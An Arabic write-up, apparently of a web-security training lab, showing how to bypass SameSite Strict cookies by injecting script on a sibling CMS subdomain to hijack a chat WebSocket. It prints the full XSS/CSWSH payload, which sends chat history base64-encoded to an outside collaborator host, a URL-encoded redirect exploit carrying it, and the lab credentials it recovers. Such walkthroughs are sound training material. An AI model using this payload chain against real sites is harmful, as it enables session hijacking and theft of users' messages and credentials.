> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# تجاوز SameSite Strict عبر نطاق شقيق

### تجاوز SameSite Strict عبر نطاق شقيق

مختبر: وظيفة الدردشة المباشرة معرضة لاختطاف WebSocket عبر المواقع المتقاطعة (CSWSH). هدف المختبر هو الوصول إلى حساب الضحية عن طريق استخراج سجل المحادثة إلى خادم Burp Collaborator الافتراضي؛ ويحتوي السجل على بيانات اعتماد واضحة.

استخدم خادم الاستغلال الموفّر لشن هجوم CSWSH يستخرج سجل قطة الضحية.

<figure><img src="/files/9e2f44098e723fbe9f3e04e8c2fe811b08f5b197" alt=""><figcaption></figcaption></figure>

تعمل الدردشة عبر WebSocket ويمر السجل من خلاله.

<figure><img src="/files/51d47d49cea187bad368b04b221aabaa2bfa7a17" alt=""><figcaption></figcaption></figure>

يتم إرسال ملف تعريف الارتباط الخاص بالجلسة مع SameSite (ما يحظر سيناريوهات إعادة التوجيه التقليدية عبر المواقع المتقاطعة).

<figure><img src="/files/9bc1f4e439793a62be4565dd0a0aed1b32e1e6ac" alt=""><figcaption></figcaption></figure>

ملف JavaScript من جهة العميل (مثلًا `chat.js`) يتم تحميله من نطاق فرعي لـ CMS يُرجع `Access-Control-Allow-Origin` رأسًا يسمح بالتفاعل من هذا النطاق الفرعي.

<figure><img src="/files/2500beb3c6c21e6f281317e520dcc2f555366387" alt=""><figcaption></figcaption></figure>

لوحة مصادقة CMS عرضة لحقن النصوص عبر `اسم المستخدم` المعلمة (مثلًا `?username=<script>alert(0)</script>&password=test`).

<figure><img src="/files/a60e0f85b89c5b956cbf7f2f1240b7a546157055" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/035544ed3fb099fcca0d54a114ac0ef828783f19" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="/files/32b23f921b41d573e8279d183e434de83bec992d" alt=""><figcaption></figcaption></figure>

باستخدام هذا الحقن، يمكنك تشغيل JavaScript في سياق النطاق الفرعي الضعيف، وبالتالي إنشاء WebSocket مصادَق عليه (ثم تُرسل ملفات تعريف الارتباط، لأن الأصل هو نفسه) إلى خادم الدردشة.

### النهج (ملخص)

1. ضع نصًا خبيثًا في `اسم المستخدم` معلمة نموذج تسجيل الدخول لنطاق CMS الفرعي.
2. يفتح هذا النص اتصال WebSocket بخادم الدردشة ويرسل إشارة `READY` .

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. عند استلام الرسائل من WebSocket (سجل القطة)، يقوم `fetch` النص بترميز هذه البيانات (base64) إلى خادم يسيطر عليه المهاجم (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="/files/a59918ac667ab04979789245050fddb7955c36c1" alt=""><figcaption></figcaption></figure>

استضف/قدّم إعادة توجيه على خادم الاستغلال لدفع الضحية إلى زيارة عنوان URL الضعيف (تسجيل الدخول مع `اسم المستخدم` الذي يحتوي على النص).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### النتائج الملحوظة

* عند استلام الاستعلام المستخرج، كانت `بيانات` المعلمة تحتوي على base64؛ وبفك ترميزه نحصل على دخول القطة.
* مثال على الحمولة المستلمة (بعد فك ترميز base64):

```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```

<figure><img src="/files/892bd1544cfc95796947ecad5fe2990a48bac7b6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a37ea7a944b1abf9a1b8a8735a363f55b4fa7e4c" alt=""><figcaption></figcaption></figure>

من خلال الحقن من السياق المصادق عليه (النطاق الفرعي لـ CMS)، نقل النص رسائل تحتوي على محادثات المستخدم، وفي هذه الحالة رسالة تحتوي على بيانات الاعتماد بصيغة واضحة.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### بيانات الاعتماد المستخرجة (كما هو مذكور)

* `carlos:hdf3fkk8h7tnltupqs5t` (تم العثور على بيانات الاعتماد في سجل القطة)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"No problem carlos, it's hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="/files/ea67f1e2b5111d705ff7298d8bb8abb51af9c96d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
